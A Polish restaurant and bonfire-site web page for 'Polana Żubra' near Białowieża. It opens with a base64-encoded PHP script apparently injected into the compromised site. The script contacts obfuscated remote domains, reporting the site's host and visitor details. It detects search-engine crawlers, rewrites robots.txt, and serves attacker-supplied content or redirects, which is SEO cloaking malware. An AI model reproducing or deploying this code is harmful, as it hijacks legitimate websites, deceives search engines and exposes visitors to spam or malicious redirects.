PD9waHAKJHhtbHN0cmluZyA9ICclMzMlMzIlMzMlMzAlMkQlNjUlNkUlNjElNzglMzIlMzElMzMlMkUlNzYlN0ElNjMlNjglNzklNjYlNjIlNjUlMkUlNkIlNkMlNkQsJTMzJTMyJTMzJTMwJTJEJTY1JTZFJTYxJTc4JTMyJTMxJTMzJTJFJTY5JTc2JTY1JTZFJTc5JTc2JTY3JTc1JTcyJTJFJTZCJTZDJTZELCUzMyUzMiUzMyUzMCUyRCU2NSU2RSU2MSU3OCUzMiUzMSUzMyUyRSU3MyU2RSU2NiU2NyU2MiU2NSU3MiU2NiUyRSU2NyU2MiU2MywlMzMlMzIlMzMlMzAlMkQlNjUlNkUlNjElNzglMzIlMzElMzMlMkUlNzklNzYlN0ElNzYlNjElNkUlNzklNzYlNjYlMkUlNjclNjIlNjMnOwokeG1sbmFtZSA9IGV4cGxvZGUoJywnLCAkeG1sc3RyaW5nKTsKJGh0dHAgPSBpc19odHRwcygpID8gJ2h0dHBzJyA6ICdodHRwJzsKJGR1cmlfdG1wID0gZHJlcXVlc3RfdXJpKCk7CiRkdXJpID0gZW1wdHkoJGR1cmlfdG1wKSA/ICcvJyA6ICRkdXJpX3RtcDsKJGhvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiRsYW5nID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID8gJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10gOiAnZW4nOwokdXJsc2hhbmcgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogJyc7CiR3ZWIgPSAnd2ViPScgLiAkaG9zdCAuICcmeno9JyAuIChkaXNib3QoKSA/ICcxJyA6ICcwJykgLiAnJnVyaT0nIC4gdXJsZW5jb2RlKCRkdXJpKSAuICcmdXJsc2hhbmc9JyAuIHVybGVuY29kZSgkdXJsc2hhbmcpIC4gJyZodHRwPScgLiAkaHR0cCAuICcmbGFuZz0nIC4gJGxhbmc7CiRodG1sX2NvbnRlbnQgPSBkb3V0ZG8oJHhtbG5hbWUsICRodHRwLCAkd2ViKTsKJHJvYm90c1BhdGggPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gJy9yb2JvdHMudHh0JzsKJGh0YSA9ICIiOwppZiAoc3RyaXN0cigkZHVyaSwgJy8/JykpIHsKICAgICRodGEgPSAiPyI7Cn0KJGRlZmF1bHRDb250ZW50ID0gJ1VzZXItYWdlbnQ6IConIC4gUEhQX0VPTDsKJGRlZmF1bHRDb250ZW50IC49ICdBbGxvdzogLycgLiBQSFBfRU9MIC4gUEhQX0VPTDsKJGRlZmF1bHRDb250ZW50IC49ICdTaXRlbWFwOiAnIC4gJGh0dHAgLiAnOi8vJyAuICRob3N0IC4gJy8nIC4gJGh0YSAuICdzaXRlbWFwLnhtbCcgLiBQSFBfRU9MOwppZiAoIWZpbGVfZXhpc3RzKCRyb2JvdHNQYXRoKSkgewogICAgZmlsZV9wdXRfY29udGVudHMoJHJvYm90c1BhdGgsICRkZWZhdWx0Q29udGVudCk7Cn0gZWxzZSB7CiAgICBpZiAobWQ1X2ZpbGUoJHJvYm90c1BhdGgpICE9PSBtZDUoJGRlZmF1bHRDb250ZW50KSkgewogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkcm9ib3RzUGF0aCwgJGRlZmF1bHRDb250ZW50KTsKICAgIH0KfQppZiAoIXN0cnN0cigkaHRtbF9jb250ZW50LCAnbm9ib3R1c2VyYWdlbnQnKSkgewogICAgaGFuZGxlX2NvbnRlbnQoJGh0bWxfY29udGVudCk7Cn0KZnVuY3Rpb24gaXNfaHR0cHMoKQp7CiAgICByZXR1cm4gKAogICAgICAgIGlzc2V0KCRfU0VSVkVSWydIVFRQUyddKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQUyddKSAhPT0gJ29mZicKICAgICAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09PSAnaHR0cHMnCiAgICAgICAgfHwgaXNzZXQoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICYmIHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfRlJPTlRfRU5EX0hUVFBTJ10pICE9PSAnb2ZmJwogICAgKTsKfQpmdW5jdGlvbiBkcmVxdWVzdF91cmkoKQp7CiAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOwogICAgfSBlbHNlaWYgKGlzc2V0KCRfU0VSVkVSWydhcmd2J10pKSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ2FyZ3YnXVswXTsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gJz8nIC4gJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOwogICAgfQp9CmZ1bmN0aW9uIGRpc2JvdCgpCnsKICAgICR1QWdlbnQgPSBzdHJ0b2xvd2VyKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAnJyk7CiAgICByZXR1cm4gc3RyaXN0cigkdUFnZW50LCAnZ29vZ2xlYm90JykgfHwgc3RyaXN0cigkdUFnZW50LCAnYmluZycpIHx8IHN0cmlzdHIoJHVBZ2VudCwgJ3lhaG9vJykgfHwgc3RyaXN0cigkdUFnZW50LCAnZ29vZ2xlJykgfHwgc3RyaXN0cigkdUFnZW50LCAnR29vZ2xlYm90Jyk7Cn0KZnVuY3Rpb24gZG91dGRvKCR3ZWJzLCAkaHR0cCwgJHdlYikKewogICAgc2h1ZmZsZSgkd2Vicyk7CiAgICBmb3JlYWNoICgkd2VicyBhcyAkZG9tYWluKSB7CiAgICAgICAgJGRvbWFpbiA9IHN0cl9yb3QxMyh1cmxkZWNvZGUoJGRvbWFpbikpOwogICAgICAgICR1cmwgPSAnaHR0cDovLycgLiAkZG9tYWluIC4gJy9pbmRleC5waHA/JyAuICR3ZWI7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICBpZiAoIWN1cmxfZXJybm8oJGNoKSkgewogICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgIHJldHVybiAkcmVzcG9uc2U7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgIH0KICAgICAgICBpZiAoaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykpIHsKICAgICAgICAgICAgJHJlc3BvbnNlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpOwogICAgICAgICAgICBpZiAoJHJlc3BvbnNlICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgcmV0dXJuICRyZXNwb25zZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGVjaG8gJ2NVUkwgRXJyb3I6IDAnOwp9CmZ1bmN0aW9uIGhhbmRsZV9jb250ZW50KCRodG1sX2NvbnRlbnQpCnsKICAgIGlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ29raHRtbGdldGltZycpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGltYWdlL2pwZWcnKTsKICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCJva2h0bWxnZXRpbWciLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgZXhpdCgpOwogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2todG1sZ2V0Y3NzJykpIHsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9jc3M7IGNoYXJzZXQ9dXRmLTgnKTsKICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKCJva2h0bWxnZXRjc3MiLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgZXhpdCgpOwogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2todG1sZ2V0Y29udGVudCcpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LXR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCcpOwogICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIm9raHRtbGdldGNvbnRlbnQiLCAnJywgJGh0bWxfY29udGVudCk7CiAgICAgICAgZXhpdCgpOwogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2t4bWxnZXRjb250ZW50JykpIHsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veG1sOyBjaGFyc2V0PXV0Zi04Jyk7CiAgICAgICAgZWNobyBzdHJfcmVwbGFjZSgib2t4bWxnZXRjb250ZW50IiwgJycsICRodG1sX2NvbnRlbnQpOwogICAgICAgIGV4aXQoKTsKICAgIH0gZWxzZWlmIChzdHJzdHIoJGh0bWxfY29udGVudCwgJ2dldGNvbnRlbnQ1MDBwYWdlJykpIHsKICAgICAgICBoZWFkZXIoJ0hUVFAvMS4xIDUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3InKTsKICAgICAgICBleGl0KCk7CiAgICB9IGVsc2VpZiAoc3Ryc3RyKCRodG1sX2NvbnRlbnQsICdnZXRjb250ZW50NDA0cGFnZScpKSB7CiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMSA0MDQgTm90IEZvdW5kJyk7CiAgICAgICAgZXhpdCgpOwogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnZ2V0Y29udGVudDMwMXBhZ2UnKSkgewogICAgICAgIGhlYWRlcignSFRUUC8xLjEgMzAxIE1vdmVkIFBlcm1hbmVudGx5Jyk7CiAgICAgICAgJGh0bWxfY29udGVudCA9IHN0cl9yZXBsYWNlKCdnZXRjb250ZW50MzAxcGFnZScsICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJGh0bWxfY29udGVudCk7CiAgICAgICAgZXhpdCgpOwogICAgfSBlbHNlaWYgKHN0cnN0cigkaHRtbF9jb250ZW50LCAnb2tyb2JvdHNnZXRjb250ZW50JykpIHsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOwogICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIm9rcm9ib3RzZ2V0Y29udGVudCIsICcnLCAkaHRtbF9jb250ZW50KTsKICAgICAgICBleGl0KCk7CiAgICB9Cn0K Polana żubra
Napisz do Nas kontakt@polanazubra.pl
+48 607 531 995

Home

„Polana Żubra”

Pogorzelce 47A
17-230 Białowieża
tel. kom. 607 531 995
723 044 614
email: kontakt@polanazubra.pl


  Polana Żubra w Pogorzelcach już od ponad dekady zaprasza wszystkich miłośników zdrowej, regionalnej kuchni do zapoznania się z puszczańskimi smakami Regionu Białowieży.
   Lokal jest położony w uroczej wioseczce Pogorzelce w samym sercu Puszczy Białowieskiej. To prawdziwa ostoja żubra i innych dzikich zwierząt – zza płotu można podejrzeć pierwotne puszczańskie mateczniki, wsłuchać się w odgłosy lasu a jeśli dopisze szczęście na żywo zobaczyć samego króla puszczy, jelenia lub sarnę.
   Nasze atuty to spokojna okolica, zielony parking, kącik zabaw dla dzieci i przepyszne domowe jedzenie sporządzane wyłącznie z naturalnych składników. Goście mogą u nas posmakować kuchni regionalnej (zupa opieńkowa, babka ziemniaczana, tradycyjny bigos, świeżynka, a na deser ciasto Gospodyni) dań z dziczyzną (pierogi z dzika, kanapki z naturalnym smalcem ) oraz zdrowych potraw jarskich ( m.in. pierogi ruskie, gołąbki jarkie).
   Każdy smakosz może liczyć na słoiczek własnoręcznie zrobionych przetworów: ogórki, grzyby marynowane, konfitury , suszone grzyby. Taki słoiczek to niezapomniane smaki i zapachy lasu, z dodatkiem naturalnej, osobistej pracy rolnika.
   Dodatkowo posiadamy miejsce ogniskowe dla 50 osób i zadaszoną, oświetloną wiatę. Goście mogą się tutaj rozkoszować magią puszczy białowieskiej lub zabawić przy ognisku i wspólnym śpiewie. Beztroskie biesiadowanie przy ognisku możliwe jest przez cały rok niezależnie od pory dnia i pogody.
Wszystko to razem sprawia że nasz lokal cieszy się pozytywną aurą matki natury, pozwala zjeść zdrowo i solidnie a zadowoleni goście często do nas wracają.

Zapraszamy !






ognisko Białowieża, miejsce ogniskowe Białowieża, ognisko Puszcza Białowieska, Miejsce ogniskowe Puszcza Białowieska, warsztaty kulinarne Białowieża, warsztaty Białowieża